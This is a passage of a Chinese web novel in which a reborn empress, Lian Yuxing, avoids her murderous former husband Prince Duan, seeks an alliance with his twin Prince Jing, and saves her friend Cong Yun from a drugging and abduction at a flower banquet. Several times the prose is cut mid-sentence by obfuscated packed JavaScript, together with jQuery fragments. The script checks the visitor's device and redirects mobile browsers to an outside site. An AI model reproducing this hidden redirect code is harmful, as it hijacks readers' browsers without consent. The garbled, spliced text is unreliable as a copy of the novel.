《明月竟无瑕(双重生)》 1. 重生 揽玉阁。 阁楼之上,沉木香气四散开来,氤氲了整间屋子,熏得人头昏脑胀。 “……” 屏风后的软榻上,斜倚了一个女子,一身苏绣月华锦衫,肤白胜雪,眉目如远山青黛,此刻没骨头似地,用手托着脸,支着身体,忽地惊叫一声。 好看的眉头倏然皱起,像是梦到了什么,下一瞬,缓缓睁开了眼睛。 莲玉荇茫然,愣了片刻,直起身子,仔细观察了四周,水墨山水画、琉璃盏……全是熟悉的布置。 她怎么会在这儿?按常理来说,她此刻应当在皇宫之中,而不是在丞相府。 莲玉荇思绪百转千回,而后终于认清了一个令人难以接受的事实。 所以她这是……重生了?! 一想起死前种种,莲玉荇姣好的脸都扭曲了一瞬,那如附骨之疽的疼痛现在还能感觉到几分。 “朕与皇后莲氏夫妻相安八载,今感不测,不忍皇后一人独留于世间,特赐鸩酒一杯。” 她和贺砚随相伴八载,从王府到偌大的皇宫,经历多少颠沛。 到头来,留给她的只有一杯鸩酒。 起初她是不信的,但是圣旨上熟悉的字迹,不能作假的圣印,无一不在打碎她的信任。 毒酒入喉,多年夫妻情分,尽数化为飞灰。 她死在春日,狼狈不堪。 呵…… 到死也要让她“殉情”么,还真是鹣鲽情深。莲玉荇扯了扯唇角,露出嘲弄之色。 雕花木门发出“咚咚”两声,打断了莲玉荇飘飞的思绪,“小姐,小姐,可曾醒了?常安侯夫人送来拜帖,邀请各位世家公子小姐前往常安侯府赏花。” 常安侯夫人素来爱花,但从未如此大张旗鼓过,此番邀请世家公子小姐前去,只能是醉翁之意不在酒。 莲玉荇伸出手指,随意拨弄了几下桌上的花,前世她前去参加过,自然知道常安侯夫人的用意—— 替自家小侯爷席凝寻一门好亲事。 想到此处,莲玉荇手上动作一顿,低眉敛目,忽然没了兴致,十分倦怠。 前世,她就是在常安侯府的宴会上遇到了贺砚随,此后跟在他身边,出谋划策,助他登上九五尊位。 此后种种孽缘,都由此开始。 而今她重活一世,断然要离这狼心狗肺的黑心端王贺砚随远远地,绝对不能再重蹈覆辙。 门外的妙青还在等莲玉荇的答复,没得到回应,以为她家小姐又重新睡过去了,打开门正准备进屋,屋内有了动静。 “小姐……”妙青讶然。 “你替我回绝了,就说我身体不适,不便出行。”莲玉荇的声音从房间内传来,听得不甚清楚。 妙青嘴唇微张,以往这些宴会,小姐大都接下拜帖,就算不是真心实意,也要走个过场,装装样子。 今日这是怎么了?妙青有点莫名,但还是依照莲玉荇的吩咐去做。 妙青的身影越来越远,莲玉荇虚按了一下额头,觉得有些疲累,重新躺回软榻,准备小憩一番。 只是闭上眼,脑袋便如浆糊一般,搅得她心神不宁,不可控制地想起了一些事情。 前世她被赐死,所谓树倒猢狲散,作为皇后母家的丞相府,可以想见,是何等惨状。 她的父母、兄长,在得知她死讯时,是何等悲恸,何等凄然。 垂在身侧的手指微微蜷起,莲玉荇长睫翕动,模样很是不安。 不对……不对…… 就算重来一世,就算她避开了端王,难保不会有人觊觎丞相府。 莲丞相在朝堂上树敌颇多,莲玉鹤此前连中三元,不知招来多少红眼,后被昭文帝下放到河西郡做了郡守,这才平定了一些人的念想。 所以,她不仅要远离端王,还要多做谋划,保丞相府安危。 莲玉荇隐隐有了一个念头,扬声:“来人!” 有下人匆匆站到门口,听候吩咐,“去找妙青,让她把拜帖接下罢。” 下人应声去了。 莲玉荇依稀记得景王也会参加赏花宴,他与端王乃是胞弟,素来不和,性情温润纯良,有手段却又不软弱,是莲玉荇合作的首选之人。 就算之后贺砚随要对她下手,断然得顾忌一下这层关系吧。 不过这次,她不要这皇后之位,只要…… 这般想着,莲玉荇眉目间的愁绪散了几分。 ** 暮色四合,下人来请莲玉荇用膳,走过亭台楼阁,穿过回廊,很快就到了正厅。 莲丞相和莲夫人端坐上首,莲玉荇隐约看到他们交谈甚欢,只是隔得远听不清说什么。 再次见到熟悉的脸,她还是不由得愣了几息。 看到莲玉荇来了,莲丞相收敛了外放的神情,但眼底的关心藏不住,莲夫人唇角绽开笑意,刺得她心底发颤。 “阿荇,我听下人说你睡了一晌午,就连赏花宴也不想去了。”莲夫人眉眼带笑,打趣了莲玉荇一番。 莲玉荇脑袋现下有点迟钝,被莲夫人带着往桌旁坐下,见她呆愣愣的模样,莲夫人用手在她头上点了点。 “我看你是睡过头了,还是好好去参加赏花宴,改一改你这懒散的毛病!”莲夫人嗔怪道。 莲玉荇下意识摸了摸自己的头,随后放下手来,不好意思地笑笑。 莲丞相看她们母女俩笑闹,莞尔:“先吃饭。” 莲丞相道:“常安侯夫人送来拜帖,你便去看看,世家公子小姐总要结识一些,以后的路才好走。” “全听父亲的。”莲玉荇嘴上应着,心里却不以为意,世家公子小姐上赶着结识她。 这不过是莲丞相打发她出门的借口罢了。 “你哥哥在河西郡的任期将至,过不了几个月就会回京述职。”莲夫人往她碗里夹菜,“年纪也老大不小了,是该找个好人家婚配了。” 莲玉荇味同嚼蜡,碗里的菜也不香了。 莲夫人看她这副样子,道:“还有你,赏花宴上世家公子众多,好好相看。” 不管莲夫人如何舌灿莲花,她心里只有一个想法,那就是远离端王。 莲玉荇面色如常,点头应声,吃完饭就带着妙青出来门。 京都繁华依旧,街道纵横交错,摊贩叫卖声不绝于耳,各种小玩意数不胜数,叫人看花了眼。 莲玉荇没什么心情,只随意走着,妙青跟在她身后,“小姐,难得出来一趟,不去去做几套新衣裳,都快入夏了,您先前穿的衣裳也过季了。” “那便去看看。”莲玉荇回过神,四处看了看,抬脚进了京都有名的成衣铺子。 掌柜原本正在算账,一抬眼,发现丞相府的千金小姐竟然驾临,赶忙收了账本,抬脚上前招待。 “莲姑娘,大驾光临,有失远迎。”掌柜笑得谄媚,“前几日新进了几匹布料,姑娘不妨看看。” 莲玉荇神色淡淡,跟着掌柜去挑布料,忽听得一帘之隔,有几人在窃窃私语,谈论的主人公正是景王和端王两位王爷。 眉眼微动,手上的动作也停住,莲玉荇仔细地听着。 “前几日,景王在府内设生辰宴,邀请了许多达官贵人,却独独没有邀请胞兄端王。” “虽没被邀请,但端王命人备了一份生辰礼送去,景王不知道怎么了,发了好大的火气,让人把端王的生辰礼扔出去了!” “啊……这不是在打端王殿下的脸面!好歹是同胞兄弟,怎么闹成现在这样。” “谁知道呢?皇家秘辛怎么是我们能接触到的。” …… 端王和景王自幼不和,像这样的事情数不胜数。 莲玉荇前世虽然嫁给贺砚随为妻,但和这位景王接触不多,对他的了解也止步于性情温润纯良,有手段不软弱。 至于他们兄弟俩闹掰的原因,她也不是很清楚,依稀知道是和他们的母妃有关。 而且贺沅安和贺砚随长得一模一样。 “他们一母同胞,生辰之日不都是一天吗?”帘后的人发问。 听到这儿,莲玉荇脸色微变,贺砚随从不过生辰。 她也不知道自己为什么会想这么多,但脑海里关于贺砚随的东西丝丝缕缕藏在记忆里,割不断,烧不尽。 似乎是发觉她脸色不对,妙青试探性地叫她,“小姐,你没事吧?” “……没事。” 莲玉荇满心疲累,随手挑了几个颜色的布料,让掌柜拿去,带着妙青出了成衣铺。 既然她决心远离贺砚随,那过往的种种都得抛之脑后,不可再想。 他们兄弟不和更好,就更方便她从中运作,谋划自己想要的东西。 只是,景王行踪不定,平日里递到府上的拜帖也大都退了回去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333962|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 除了几天后的赏花宴,莲玉荇几乎找不到什么见他的机会。 无碍,万事急不得。莲玉荇这般想。 ** 长安街是京都最繁华的街道,人来人往,酒楼之上宾客满座。 莲玉荇四处逛逛,买了些零碎的小东西,簪钗口脂,还有寻仙楼的桂花糕。 日头降下来,妙青看出自家小姐无意归家,还未等说些什么,莲玉荇便遣她先行回去。 “放心,再过半个时辰我便会回府,若那时我还没回去,你再带人来找我也不迟。”说完,莲玉荇便转身离去。 莲玉荇心烦意乱,回了家不免被莲丞相莲夫人抓着唠叨一顿,从前这些事从来轮不到她头上,现在她哥哥在河西任职,便轮到她了。 莲玉鹤的任期还有四五个月,她倒是希望他快点回来了。 远在河西郡的莲玉鹤喷嚏震天响,没了往日的翩翩风度,只当是自己连日劳累,丝毫没想过是亲妹妹在念叨自己。 走了小半个时辰,莲玉荇微微有些气喘,抬起头才发现走到了一个陌生的地方。 不远处一座红楼矗立,天色暗了下来,灯火也连绵不断,花花绿绿的绸缎勾勒出一种奇怪的氛围,还隐约夹杂着姑娘黏黏腻腻的声音。 这是…… 莲玉荇眼睛圆睁,好像终于知道这是什么地方。 她这是到了京都有名的勾栏之地春风楼。 莲玉荇两辈子没去过这种地方,耳濡目染知道一些,想着她一个未出阁的姑娘在这里也不太好,刚想离开,就听到巷口传来一阵重物落地的声音,生生停住了脚步。 “新到的货还不错,待会儿让云娘验一验,应该能赚不少钱。” “长得尚可,整个人柔柔弱弱,我都舍不得了。” “哈哈哈哈哈……还有你舍不得的姑娘,那必然是美人。” “不如我们……” 几个人不约而同笑起来,笑声恶心又油腻,莲玉荇下意识握紧了手,若是待会儿他们存心做不轨之事,她就赌上一赌。 细弱的哭声传到莲玉荇耳朵里,她身体微僵,从袖口拿出帕子,把容貌遮住。 忽然,巷子里骚动起来,似乎是打起来了。 莲玉荇低头看了看自己的手掌,她虽学过一点防身之术,许久没用,不知道荒废没有。 对上这么多人,她可真是一点胜算都没有。 待她想想,如何做才好…… 还没等她想清楚,那几人好像停了下来,巷子里寂静得可怕,似乎在酝酿着什么。 莲玉荇正准备探出头去看,一道高大的身影闪进巷子里,是个男子。 四目相对间,两人都看出了对方的震惊。 “娘的!哪里来的狗东西,抢了老子的货,还敢打老子。” “疼死老子了!我跟他拼了!” “朝前面跑了,赶紧追!” …… 杂乱的脚步声、叫骂声响起,莲玉荇盯着面前的人,嘴唇微微张大,什么话也没说出来。 眼前的男人,一身紫青祥云袍,腰上坠着如意环佩,整个人贵气十足。 此刻眉头微皱,气息稍有些不稳,害怕她乱叫惹来麻烦,宽大的手掌不轻不重盖住她小半张脸。 莲玉荇眼底的震惊掩盖不住,这张脸…… “得罪了。”男人低低在她耳边说话,温润动听,与记忆中的声音不尽相同。 身上的熏香清新,不是寻常的檀香,倒像是菖蒲香。两人靠得近,大片香味笼罩在莲玉荇身上,让她也清醒镇静了一些。 莲玉荇心底稍安,他不是端王,而是景王贺沅安。 等到外面彻底没了动静,男人松开手,拉开两人的距离,拱手道谢:“方才多谢姑娘。” 莲玉荇鼻尖依旧有那股菖蒲香气,挥之不去,她端庄一笑,“景王客气了,既然事情已经解决,时辰也不早了,玉荇就此告退。” 景王府邸离这里不远,不消半柱香就能到,她也识趣地没多问,景王为什么会在这儿。 被叫做“景王”的男人沉吟片刻,眸光微闪,道:“姑娘路上小心。” 莲玉荇欠身,出了巷子,刚好遇到前来寻她的妙青,眼神十分幽怨。 说好半个时辰,现在都一个时辰了。 莲玉荇莞尔,回头看了一眼,却发现那人已经不见了踪影。 2. 华筵 天气渐渐热了起来,房内多了一些纳凉的冰块,丝丝缕缕的凉意扑面而来,莲玉荇恨不得时时刻刻待在房中。 但长久待在室内,不见阳光,就是再惫懒的人,也觉得受不了了。 莲玉荇念起好友丛云,便派小厮往丛府递了拜帖。重生这段时间,她还不曾见过丛云,也是时候该见一面了。 丛家是末流的世家,只是嫡女与丞相之女自幼交好,沾了不少面子,在京城里也能叫上号。 莲玉荇从来不以门第论人,不然她和丛云也不会关系匪浅,情同姐妹。 京都的世家公子小姐,也顾忌着她的身份,不敢纠缠打压丛云。 此次的赏花宴,听说常安侯府也往丛家递了帖子。莲玉荇心里一时有种难以言说的感觉。 还未到丛府门口,丛云就已经带了随从在门口等着。远远地见她们来了,露出一抹笑意,上前捉住莲玉荇的手臂,“阿荇!你来便来,何须送拜帖来。” 莲玉荇被她带着往府里走,笑意盈盈,“怕你不在府上,扑了空,所以遣人送了拜帖来。” “走罢,我备了你喜欢吃的茶点,我们好久没见,今日畅快聊聊。”丛云笑笑。 待坐定,莲玉荇不着痕迹,用眼神在丛云脸上描摹了一番,原本有些沉闷的心情也缓和了不少。 丛云去年刚及笄,比莲玉荇小了三岁,一张脸显得幼态,眼睛又大又圆,笑起来的时候勾人心魄,也是美人之姿。 身上的桃色罗衫,是莲玉荇去年送她的及笄礼物,现下已经不是时兴的衣裳,但架不住丛云喜欢,时常穿在身上,旁人也劝不动。 莲玉荇道:“常安侯夫人送出的拜帖,你可收了?” “自然收了。”丛云放下手里的茶点,自嘲:“以我的身份,常安侯夫人肯送来拜帖,已是抬举,我若是不接,倒显得我不识好歹了。” 莲玉荇脸色变了几分,不过并未让丛云察觉。 前世丛云同她一起参加常安侯府的赏花宴,宴席还没到一半时辰,丛云便神色仓惶,匆匆离去。 她去丛府找了几次,丛府之人一改往日的态度,硬拦着她不让进门,因而她几次三番前去,也没能见到丛云。 下人只说小姐抱病,但具体什么病症,就不得而知了。 后来,丛云便被父母做主,嫁给国公府世子为妾。 莲玉荇和丛云相识多年,自然知道丛云不会喜欢那荒淫无度的草包世子,也断不会甘心做妾,想来其中有什么她不知道的隐情。 她觉得蹊跷,派人暗中查探,却是丝毫蛛丝马迹都没有。 她也曾问丛云是否真心嫁人,丛云脸色未变,只道:“我是真心嫁与世子,阿荇不必忧心,也……不必再问。” 莲玉荇遵从她的心意没再多问。 再后来,她入主中宫,却得知丛云自绝而死,留下一个嗷嗷待哺的孩子。 握着茶盏的手指用力,有些泛白,莲玉荇眼底浮浮沉沉。现在想来,其中必然发生了什么,让丛云不得不嫁为人妇。 而一切的关键…… 就在这赏花宴之中。 “阿荇,阿荇!”丛云连声叫她,看到莲玉荇回过神来,笑道:“在想什么呢?这么入神。” 莲玉荇摇摇头。 丛云:“这糕点是我特地派人去寻仙楼买来,你快尝尝。” “……好。”莲玉荇不动声色接过糕点,轻咬了一口,唇齿留香,还是从前的味道。 “不错。”莲玉荇颔首道。 “明日就是赏花宴,我顺路来接你,我们一起去罢。”莲玉荇看着丛云的脸,轻声道。 从丞相府到丛府,压根不顺路,反而要绕个大圈子。 但丛云隐约觉得莲玉荇情绪不对,顺着她的话应了。 她眉头一挑,“好,都听你的。” ** 常安侯夫人送出的拜帖不少,京都之中称得上名姓的世家公子小姐不少。 莲玉荇和丛云到的时候,门口已然挤着不少人。 进了府邸,有专人把客人领到后院,女客被安排在南边院落,男客则被安排在北边院落,中间相隔甚远。 赏花之地,就在后院园子里,上面有观景楼阁。 莲玉荇和丛云来得晚了,宴席间已经坐满了人,莲玉荇放眼看去,几位尚书之女,还有一些生面孔。 落了座之后,莲玉荇给丛云拿了一些点心,让她先垫垫肚子。 斜侧忽然传出一声轻嗤,莲玉荇耳朵灵,那声音传入她耳朵里,颇让人不爽。 “不愧是小门小户出身,这么隆重的宴会也敢姗姗来迟,叫在场诸位等你,真是好大的威风。” 尖酸刻薄的话一出,丛云脸色倏然白了,捏紧了手上的绢帕。莲玉荇手上动作一顿,眼神变得冰冷。 说话的人面生,身穿鹅黄色罗裙子,脸上满是倨傲。 莲玉荇当然知道她这话意有所指,看似在说丛云不讲规矩,实则拐着弯骂她这个丞相府小姐。 她毕竟是丞相府嫡女,旁人不敢造次,只敢在丛云身上做文章。 “哼。”莲玉荇原本心情不错,偏有人上赶着找茬,“赏花宴可曾规定时辰?这位小姐大可像我们一样,稍来晚些,而不是在背后嚼舌根,指桑骂槐。” 那人面色青白,似乎是没想到莲玉荇会当着这么多人的面回击,憋屈地闭上了嘴。 有毛病。莲玉荇面上不显,心里却不爽,暗骂了几句。 宴席上一下子安静了下来,女客们各自饮酒喝茶,仿佛刚才的一幕没发生过一样。 “阿荇……”丛云小声叫了她一声。 “怎么了?”莲玉荇附耳过去,就听丛云说,“你方才反呛回去,往后流言不知道传成什么样,必定会说你恃宠而骄,仗着身份欺负人。” 莲玉荇当然知道,京都世家,最擅长的就是造势。 “无妨,她们想说便说。” 这下丛云也无话可说,安安静静坐在边上,端得是娴静优雅。 “啊!你干什么?!” 喧闹声四起,世家小姐们没了方才的端庄,一个个惊叫着四处奔逃,像是看到了什么惊惧之物。 莲玉荇她们坐得远,一时间不知道发生了什么事情,等到人群散开,才发现有一个衣着华贵的男子闯入了女客坐席。 莲玉荇认得,来人正是国公府世子温叙,上一世娶了丛云的人,她下意识戒备起来,伸手紧紧握住了丛云的手。 温叙面色潮红,眼神迷离,已经喝得上头了,盯着一众女客,意味不明笑笑,开始四处抓人。 不知道还以为,这是温国公府。 女客们到处乱跑,场面混乱不堪,而常安侯府上也没人出来制止,大概也没想到温叙竟然会这么放肆。 莲玉荇眉头紧皱,眼看着温叙往他们这边来,四周的人无动于衷,冷眼瞧着。 温叙盯着她们,或者说盯着莲玉荇的脸,视线聚焦,痴痴笑着,“美人,好美的人儿……不如跟我到客房去,共赴巫山云雨……” 温叙这番话属实是大胆,在场的女客全是未出阁女子,脸庞、耳朵蹭地红了。 “温叙,你怎得这番不知礼义廉耻?” 莲玉荇活了两辈子,不会因为这种话乱了心神,她带着丛云退后两步,冷冷斥道:“你好好睁开你的狗眼瞧瞧,现在你面前的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又有人开口:“今日景王怎么没来……”话还未说完,便被旁边人捂住,看向贺砚随的眼里充满惊惧之色。 酒杯被重重放在桌上,贺砚随突地站起身,吓了众人一跳。 还未等说什么,贺砚随便离席了。 “景王和端王素来不和,你怎么敢在他面前说这些。” “……” ** 酒意上头,微微有些燥热,贺砚随眼底清明,顺着青石板慢行到湖心亭,靠在护栏边闭目养神。 不到片刻,贺砚随睁开眼睛,眼眸幽深,透着警惕。 远处密竹林里竹影摇晃,人声切切。 “今日她在众人面前将你颜面扫地,你也忍得下这口气吗?”是个女子的声音。 “你有办法?” 贺砚随眉心皱起,温叙方才在女客院落里闹了一通,不是被送到客房了,现下怎么出现在这儿。 “我既来找你,自然是有了主意。”女子声音顿住,“莲姑娘身份尊贵,世子若是做了什么,丞相必定不会放过世子,不如便在丛家那位下手。” …… 这些宵小之辈,果真手段狠辣。贺砚随眼底满是倨傲,看着两人离开的方向,像是看死人一般。 等到贺砚随返回坐席,赏花宴已经开始了,女客们赶到观景楼阁,男客们丛另一侧上了阁楼。 贺砚随落在人群后面,正准备上楼,忽然觉得有视线落在身上。 他心有所感,抬起头往阁楼上看去,正好对上一双潋滟的眼眸。 3. 错认 随着更钟被敲响,赏花宴便正式开宴,常安侯夫人说了几句场面话,让宾客自便,便退了,留下小侯爷宴客。 小侯爷席凝早已及冠,现下一袭紫袍,俊美华贵,吸引了不少姑娘的视线。 见旁边人这副模样,莲玉荇好奇地瞧过去。 一群人把他围得水泄不通,小侯爷看上去很不适应这样的场合,面皮都红了几分。 果然是翩翩少年模样。 似乎察觉到她的视线,小侯爷远远看过来,正对上莲玉荇的眼睛,双方都愣了一瞬。 莲玉荇率先移开眼,不自在地看向阁楼下面,好巧不巧又撞上一双熟悉的眼睛。 原来贺沅安在这儿。 刚才她在四处找了他很久,却没有找见他的身影,原来是还没入席。 莲玉荇思绪纷飞,等回过神来,贺沅安已经不见了踪影。 因为赏花的世家公子小姐都聚集在阁楼上,莲玉荇刚想离开,却又被人挤了回去,身上的玉饰叮当作响。 好在,莲玉荇远远看到贺沅安坐在角落饮酒,心下稍安,费尽力气挤了出去。 一边在心里感叹真是热闹,一边往贺沅安在的方向走去,快要接近的时候,脚步却停了下来。 贺沅安是贺砚随的同胞兄弟,样貌几乎是一模一样,连她看了也屡屡恍神,生出一丝退却之意。 好像。莲玉荇这般想着,发现原先正在饮酒的贺沅安似有所感地抬起头,锐利的视线投射过来。 莲玉荇身体一僵,旋即端起酒杯往贺沅安所在的位置走去。 她在贺沅安面前站定,“我与景王殿下颇为有缘,敬您一杯。” 莲玉荇等了半晌,贺沅安好似受了什么刺激,脸色变得十分难看。 ** 贺砚随无心赏花,也不想与一众世家公子小姐挤来挤去,上了阁楼之后,就缩到角落里喝酒。 他从人群中找到那个熟悉的纤细的身影,眼睛微眯,若有人看见,定然会为里面的戾气惊骇不已。 还没等他收回视线,莲玉荇便搜寻到他的所在,往他这边走来。 贺砚随不动声色,饮下酒水,喝得急,有一些顺着嘴角流到脖颈,随后隐没在更低的地方。 只是,在听到莲玉荇那句话时,隐藏许久的戾气骤然翻涌,几乎要吞没面前的人。 莲玉荇好似被吓了一跳,下意识往后退了几步。 呵,就这么怕他。贺砚随心里嗤笑,第一次见面把他错认成贺沅安就算了,第二次竟然还未认出他。 贺砚随眸子里情绪翻滚,半晌,手腕微抬,轻轻碰上莲玉荇手上的酒杯,发出清脆响声,有不少酒水溅出。 “贺沅安”一番动作实在反常,莲玉荇心里惊疑不定,一时间不知道是该走还是留下。 两人一个站着,一个坐着,莲玉荇看似居高临下望向“贺沅安”,实则局势全然被对方操控,实在令她招架不住。 “莲姑娘逢人都说一句有缘么。” 久未开口的人扯了扯嘴角,说出的话落在一片嘈杂中不甚清楚,莲玉荇精准捕捉到“有缘”二字,莫名想起前世也是在常安侯府,她也对贺砚随说了这么一句话。 贺砚随那时被朝臣拥蹙,风头正盛,对人对事总保持着一定的距离,对待她却有些不同。 酒杯中的酒水因为碰撞轻颤,带动莲玉荇的手也细微颤动起来,她不动声色盯着面前的人看,终于在细微当中发现不对劲。 面前的男人眉眼冷峻,不似传说中的温润随和,动作间,莲玉荇依稀看见男人耳后的一颗黑色小痣。 ……贺砚随?! 莲玉荇心中大骇,几乎忍不住拔步而逃。 难道上次寻仙楼外见到的人,是端王贺砚随? 再是这次她又将景王认成了端王,怎么看都像是贺砚随故意为之。 莲玉荇思绪混乱,贺砚随是想再杀她一次吗。 她转念一想,自己已经重生,贺砚随未必会有前世的记忆,况且现在她还未嫁给贺砚随,不用如此惊惶不定。 她稍稍冷静几分,竭力稳住呼吸,“端王好酒量,我一时眼拙,竟然认错了人,还请王爷勿怪。” 莲玉荇一边说话,一边暗自打量着贺砚随的神情,发现他冷哼一声,除此之外并没有什么异常行为。 想来大约是因为她将景王和端王认错,惹了贺砚随不高兴,才对她出言讥讽。 莲玉荇抬眼,将酒杯往贺砚随的方向举了举,以表歉意。 贺砚随垂下眼睑,很是淡漠,“莲小姐下次还是擦亮眼睛,别把本王认成其他一些不三不四的人。” 不三不四?是指贺沅安么。 莲玉荇心道,贺砚随这么讨厌贺沅安,她必定要和贺沅安达成合作,求一道保莲家上下安稳的“免死金牌”。 莲玉荇缄默不言,贺砚随也没了说话的兴致,美酒佳酿一杯杯喝下肚,全然没有什么滋味。 他哪里看不出来,莲玉荇对贺沅安怀有心思,苦心积虑寻找机会相处,没想到贺沅安今日没来,扑了个空。 什么前世夫妻,天地流转,什么情分都忘得一干二净。 莲玉荇你真是好狠的心。 贺砚随望着那张姣好的脸,恨得咬牙切齿,眸中恨意浮浮沉沉,前世他被设计得死无葬身之地,今世也该让她尝尝这痛苦的滋味。 ** 回廊亭。 宴会开始不过半个时辰,丛云便觉得胸闷气短,呼吸间都是燥热,她心里隐约察觉到不对劲,带着随身婢女到了亭子处休息,才将将缓过来了几分。 婢女端来水,往丛云身上披了件衣裳,“晚上风凉,莲姑娘吩咐奴婢小心照看小姐,要是着凉了,奴婢可担待不起。” 丛云知道莲玉荇对她的好意,大概是因为方才国公府世子温叙对她们不敬,所以才会吩咐婢女寸步不离跟着她。 宾客全在前厅,她们现下在回廊亭,四周无人,想来也不会有人这么不识好歹,敢来冲撞客人。 丛云抬眼瞧了瞧一片暖黄灯光,心下放松了一些。 过了片刻,石子路有了声响,来人低眉敛目,看不清面庞,低声说道:“丛姑娘,莲姑娘方才在前院找不到您,便派小的来接您,说是在后院客房等候。” “好,我跟你去一趟。”丛云站起身,方才出来的时候也没跟莲玉荇说一声,现下应该着急了。 “莲姑娘只吩咐我带姑娘过去。”言外之意就是,婢女不用守在身边。 脚下一动,婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333964|167733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女便支支吾吾起来,有些犹豫,“可是……” 莲小姐分明让她不准离开半步,现下这是什么意思。 丛云眉眼微皱,随后又舒展开,“既然是玉荇要求的,我去一趟,你便去前厅等着我。” “是。” …… 青石板路蜿蜒曲折,拐过弯就踏上了坑坑洼洼的石子路。 周围的暗色越来越深,那人并未掌灯,四下什么都看不见。 丛云心口登时狂跳起来,脚步停住不再往前一步,开口斥道:“你要带我去哪儿?这不是往后院客房的路!你到底是谁?!” 前面的人也停下了脚步,顿了一会儿,转过身,朝丛云缓步走去,只是面色和语气不见和善。 “去哪儿?”那人嗤笑,猛地伸出手蒙住丛云的口鼻,“待会儿你就知道了!” “呜呜呜……”丛云挣扎几下就没了动静,拖拽中绣鞋滚落在地上,孤零零的。 ** 前厅。 莲玉荇原本是想从贺砚随口中试探一下贺沅安的消息,但没想到心情不爽利的贺砚随更是黑了脸,一言不发。 气氛实在压抑,莲玉荇看着不远处的贺砚随,有些气闷。 前世就是贺砚随下旨意让她陪葬,怎么重来一世还得受气,她不干了。 莲玉荇忽地站起身想走,远远看到丛云身边的婢女跌跌撞撞往这边跑,暗道不妙。 还未等走出几步,人群却一窝蜂聚集起来,有人边跑边喊,“昙花开了!” “啊!月下美人!” “快看!” “几十年难得一见的月下美人,今日竟然开了,诸位真是好运气!” 吵嚷声纷乱不堪,莲玉荇被人挤来挤去,死活出不去,对上婢女无助的眼神,只能干着急。 方才她往四周看了看,没有丛云的身影,该不会出什么大事了吧。 莲玉荇心急如焚,用尽全身力气往前推了推,反被推了回来,脱力地往后退了几步,撞上温热坚实的胸膛。 身后,贺砚随满脸不耐,手上拢着被挤过来的莲玉荇,动作下意识轻柔了不少。 “带我出去。”莲玉荇发话。 贺砚随眼眸幽深,竟然敢使唤他,胆子真是大了不少。 想归想,贺砚随知晓莲玉荇此时应当心急如焚,施展轻功退出人群。 众人视线全放在盛开的昙花身上,没人关注他们这边。 莲玉荇脚刚落地,立刻拉开了和贺砚随的距离,丝毫没看到贺砚随铁青的脸色和变换的眼神。 “莲小姐不好了,我家小姐被人带走了!”婢女抽泣道。 莲玉荇心下一凉,瞬间联想到什么,难道是温叙放在调戏不成,又想毁了丛云的清白。 不……不行…… 重来一世,她不可能让悲剧再次重演。 手上用力攥紧,指甲嵌进肉里,生疼,但也唤回了莲玉荇的理智。 “他们往哪边走了?”莲玉荇依稀觉得自己的声音在颤抖。 “奴婢听那人说了一嘴,好像是后院客房。”婢女赶紧回答。 莲玉荇正准备往后院去,一声高亢的喊声传来—— “不好了!快来人,后院客房出事了!” 4. 清白 浑身血液瞬间冰冷下来,莲玉荇身形一晃,似乎受到的打击不小。 前厅正在赏花游园的宾客显然也听到了呼喊声,纷纷停下手里的动作,围拢过来,每个人神色各异,幸灾乐祸、担忧…… 任谁不得说一句,今日真是不得太平。 报信的人是常安侯府的下人,哪里见过这么大的阵仗,脸色白了又白,还是莲玉荇提醒,才想起正事,带着一行人匆匆赶往后院客房。 莲玉荇不知道自己是怎么走到客房的,一路上她脑海里闪过千百种设想,在踏入客房的时候,一颗心才真正放了下来。 客房内,穿着华贵的男子被缚了手脚跪在地上,狼狈不堪。 是方才在宴席上撒泼的温叙。 他挣扎着想站起身,因为酒意又跌落在地,嘴里骂骂咧咧。 丛云端坐着,浑身上下看不出什么伤,只是发髻些许凌乱,此刻她没管门口看热闹的众人,眼神凌凌盯着地上跪着的人。 “丛云。”莲玉荇快步走到丛云面前,瞥见丛云旁边的黑衣女子,愣了愣,这不是贺砚随身边的暗卫迎月吗? 难道是贺砚随的手笔?莲玉荇脑海里忽然涌现出这样一句话。 不过很快莲玉荇否决了自己的想法,相伴半年,她知晓贺砚随不是那种人,不会用这么卑劣的手段来毁掉一个闺阁女子的清白。 况且现在她和贺砚随只能算是萍水相逢,贺砚随没理由这么做。 而此刻温叙出现在这里,已经说明了很多事情。 莲玉荇收回视线,伸手拉住丛云的手,问道:“阿云没事吧?” 丛云摇了摇头,安抚似地拍了拍她的手,示意莲玉荇安心。 半个时辰前,她被地上的男人骗走,虽然察觉到不对,但还未等她反应过来,就被迷晕过去,醒来自己便身处客房之中。 自救无果,便见温叙推门而入,意图对她行不轨之事。 丛云现在想起来仍然心惊肉跳,那会儿她浑身燥热,意识不清,多亏了这位黑衣女子在关键时刻救了她,要不然后果不堪设想。 “阿荇,我们应该是被温叙盯上了。”丛云凑到莲玉荇耳边低声说道,声音有气无力。 莲玉荇摸着她的手滚烫,意识到什么,顾不得想别的事情,当即遣人去找郎中来。 